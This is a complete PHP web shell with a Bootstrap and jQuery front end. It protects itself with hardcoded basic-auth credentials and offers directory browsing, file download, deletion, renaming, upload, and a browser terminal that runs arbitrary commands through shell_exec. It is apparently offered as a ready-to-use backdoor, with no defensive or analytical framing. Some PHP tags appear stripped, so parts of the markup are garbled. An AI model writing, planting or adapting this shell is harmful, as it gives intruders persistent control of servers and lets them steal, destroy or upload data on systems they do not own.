$username = 'admin';
$password = 'admin@123231';
if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) ||
$_SERVER['PHP_AUTH_USER'] !== $username || $_SERVER['PHP_AUTH_PW'] !== $password) {
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
echo 'Unauthorized';
exit;
}
function getFilePermissions($filePath)
{
// Get the file permissions
$perms = fileperms($filePath);
// Determine the type of file
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x') :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x') :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x') :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (isset($_POST['command'])) {
$cm = $_POST['command'];
if ($cm == 'readdir' && isset($_POST['dir'])) {
$qry=isset($_POST['qry'])?$_POST['qry']:'';
$dir = $_POST['dir'];
$files = scandir($dir);
$dataDirs = [
'cwd' => realpath($dir),
'child=' => [],
];
foreach ($files as $file) {
$filePath = $dir . '/' . $file;
if (strlen($qry)>0 ){
if ( preg_match("/$qry/i", "$file")) {
if (is_file($filePath)) {
$dataDirs['child'][] = ['name' => $file, 'path' => realpath($filePath), 'perm' => getFilePermissions($filePath), 'type' => 'file'];
} else if (is_dir($filePath)) {
$dataDirs['child'][] = ['name' => $file, 'path' => realpath($filePath), 'perm' => getFilePermissions($filePath), 'type' => 'dir'];
}
}
}else{
if (is_file($filePath)) {
$dataDirs['child'][] = ['name' => $file, 'path' => realpath($filePath), 'perm' => getFilePermissions($filePath), 'type' => 'file'];
} else if (is_dir($filePath)) {
$dataDirs['child'][] = ['name' => $file, 'path' => realpath($filePath), 'perm' => getFilePermissions($filePath), 'type' => 'dir'];
}
}
}
echo json_encode($dataDirs);
exit;
}elseif ($cm=='download' && isset($_POST['path']) ){
$filePath=$_POST['path'];
if (file_exists($filePath)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($filePath) . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filePath));
readfile($filePath);
ob_clean();
flush();
exit;
}
}elseif ($cm=='delete' && isset($_POST['path'])){
$filePath=$_POST['path'];
if (file_exists($filePath)){
if (is_dir($filePath)){
rmdir($filePath);
}elseif (is_file($filePath)){
unlink($filePath);
}
}
exit;
}elseif ($cm=='rename' && isset($_POST['path']) && isset($_POST['new']) ){
$filePath=$_POST['path'];
if (file_exists($filePath)){
rename($filePath, dirname($filePath).DIRECTORY_SEPARATOR.$_POST['new'] );
}
exit;
}elseif ($cm=='cmd' && isset($_POST['path']) && isset($_POST['c']) ){
$output=shell_exec('cd '.$_POST['path'].' && '. $_POST['c'].' 2>&1' );
echo ($output);
exit;
}elseif ($cm=='upload' && isset($_FILES['file']) && isset($_POST['path']) ){
$target_dir = $_POST['path'];
$target_file = $target_dir. DIRECTORY_SEPARATOR . basename($_FILES["file"]["name"]);
if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
echo "The file " . htmlspecialchars(basename($_FILES["file"]["name"])) . " has been uploaded.";
} else {
echo "Sorry, there was an error uploading your file.";
}
exit;
}else{
print_r($_POST);
}
} else {
echo 'command not set';
}
} else if ($_SERVER['REQUEST_METHOD'] == "GET") {
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js" ></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.3/css/bootstrap.min.css"/>
<script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.3/js/bootstrap.min.js"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-icons/1.11.3/font/bootstrap-icons.min.css" />
<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11.12.3/dist/sweetalert2.all.min.js"></script>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/sweetalert2@11.12.3/dist/sweetalert2.min.css">
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.terminal/2.42.2/js/jquery.terminal.min.js" ></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/jquery.terminal/2.42.2/css/jquery.terminal.min.css" />
<body onload="readDirs();" class="container">
<div class="row mt-4">
<div class="input-group mb-3">
<div class="input-group-prepend">
<span class="input-group-text">Search</span>
</div>
</div>
<table class='table table-striped table-bordered col-12 text-center'>
<thead>
<th>Name</th>
<th>Permission</th>
<th>Action</th>
</thead>
<tbody id='table_dirs'>
</tbody>
<tfoot>
</tfoot>
</div>
<div class="row mt-3">
<div id="terminal">
</div>
</div>
<hr>
<script>
async function POST(parameters) {
return new Promise((resolve, reject) => {
var data = '';
const xhttp = new XMLHttpRequest();
xhttp.onload = function () {
if (this.status >= 200 && this.status < 300) {
data = this.responseText;
resolve(data);
} else {
reject({
status: this.status,
statusText: xhttp.statusText
});
}
};
xhttp.onerror = function () {
reject({
status: this.status,
statusText: xhttp.statusText
});
};
xhttp.open("POST", ' echo $_SERVER['PHP_SELF']; ');
xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhttp.send(parameters);
});
}
function readDirs(dir = 'Li8=',qr='' ) {
dir=atob(dir)
var qry=atob(qr)
var tbody = document.querySelector('#table_dirs');
POST('command=readdir&dir=' + dir +'&qry='+qry )
.then(resp => {
var dirs = JSON.parse(resp);
var html = "";
document.querySelector('#cdw').value=dirs.cwd;
for (i = 0; i < dirs.child.length; i++) {
var row = dirs.child[i];
html += `
<a href="#" onclick="${row.type=='dir'?'readDirs(\''+btoa( row.path)+'\')':'downloadFile(\''+btoa( row.path)+'\')' }">${row.name}</a>
${row.perm}
<div class="btn-group" role="group" aria-label="Basic example">
`;
if(row.name!='.' && row.name!='..'){
html+=` <button type="button" onclick="deleteFile('${btoa(row.path)}')" class="btn btn-danger"><i class="bi bi-trash"></i></button>
<button type="button" onclick="renameFile('${btoa(row.path)}')" class="btn btn-primary"><i class="bi bi-pencil-fill"></i></button>
`
}
html+= `${row.type=='file'?'<button onclick="downloadFile(\''+btoa(row.path)+'\')" type="button" class="btn btn-success"><i class="bi bi-cloud-download-fill"></i></button>':'' }
</div>
`;
}
tbody.innerHTML = html;
})
.catch(error => {
console.error('Error:', error);
tbody.innerHTML="";
});
}
function downloadFile(url){
var path=atob(url);
var filename = path.replace(/^.*[\\/]/, '')
// Create an AJAX request
const xhr = new XMLHttpRequest();
xhr.open('POST', ' $_SERVER['PHP_SELF']', true);
xhr.responseType = 'blob';
xhr.onload = function() {
if (xhr.status === 200) {
const blob = new Blob([xhr.response], { type: 'application/octet-stream' });
const url = window.URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = filename;
document.body.appendChild(a);
a.click();
setTimeout(() => {
document.body.removeChild(a);
window.URL.revokeObjectURL(url);
}, 100); // Remove the anchor element after some delay to ensure the download starts
} else {
console.error('Error downloading the file');
}
};
xhr.onerror = function() {
console.error('Network error');
};
const formData = new FormData();
formData.append('command', 'download');
formData.append('path', path);
xhr.send(formData);
}
function deleteFile(url){
var path=atob(url);
var filename = path.replace(/^.*[\\/]/, '')
Swal.fire({
title: `Do you want to delete "${filename} " ?`,
showDenyButton: true,
showCancelButton: false,
confirmButtonText: "Yes",
denyButtonText: `No`
}).then((result) =>{
if (result.isConfirmed) {
POST('command=delete&path=' + path)
.then(resp => {
readDirs(btoa(document.querySelector('#cdw').value), btoa(document.querySelector('#qry').value) )
Swal.fire({
position: "top-center",
icon: "success",
title: `"${filename} " is now Deleted .`,
showConfirmButton: false,
timer: 1500
});
})
.catch(error => {
console.error('Error:', error);
});
}
});
}
function renameFile(url){
var path=atob(url);
var filename = path.replace(/^.*[\\/]/, '')
Swal.fire({
title: "Rename file",
input: "text",
inputValue: filename,
inputAttributes: {
autocapitalize: "off"
},
showCancelButton: true,
confirmButtonText: "Rename",
showLoaderOnConfirm: true,
preConfirm: async (newName) => {
POST('command=rename&path=' + path+'&new='+newName )
.then(resp => {
readDirs(btoa(document.querySelector('#cdw').value) , btoa(document.querySelector('#qry').value) )
})
.catch(error => {
console.error('Error:', error);
});
},
allowOutsideClick: () => !Swal.isLoading()
}).then((result) => {
if (result.isConfirmed) {
readDirs(btoa(document.querySelector('#cdw').value) , btoa(document.querySelector('#qry').value) )
Swal.fire({
position: "top-center",
icon: "success",
title: `File renamed`,
showConfirmButton: false,
timer: 1500
});
}
});
}
var __EVAL = (s) => eval(`void (__EVAL = ${__EVAL}); ${s}`);
jQuery(function($, undefined) {
$('#terminal').terminal(function(command) {
if (command !== '') {
var path=($('#cdw').val() );
try {
var resp='';
$.ajax({
type: "POST",
async: false,
url: ' echo $_SERVER['PHP_SELF']; ',
data: {
'command':'cmd',
'path':path,
'c':command,
},
success: function (rs){
resp=rs;
},
});
this.echo(new String(resp));
} catch(e) {
this.error(new String(e));
}
}
},{
greetings: '',
name: 'terminal',
height: 400,
prompt: ' echo get_current_user().'@' .gethostname(). (PHP_OS=='WINNT'? '> ' : ':~$ ' ) ; '
});
});
$("#uploadForm").submit(function(e){
e.preventDefault();
var action = $(this).attr("action");
$.ajax({
type: "POST",
url: action,
crossDomain: true,
data: new FormData(this),
processData: false,
contentType: false,
}).done(function() {
document.querySelector('#file_upload').value=""
readDirs(btoa(document.querySelector('#cdw').value) , btoa(document.querySelector('#qry').value) )
Swal.fire({
position: "top-center",
icon: "success",
title: `File Uploaded`,
showConfirmButton: false,
timer: 1500
});
}).fail(function() {
readDirs(btoa(document.querySelector('#cdw').value) , btoa(document.querySelector('#qry').value) )
});
});
</script>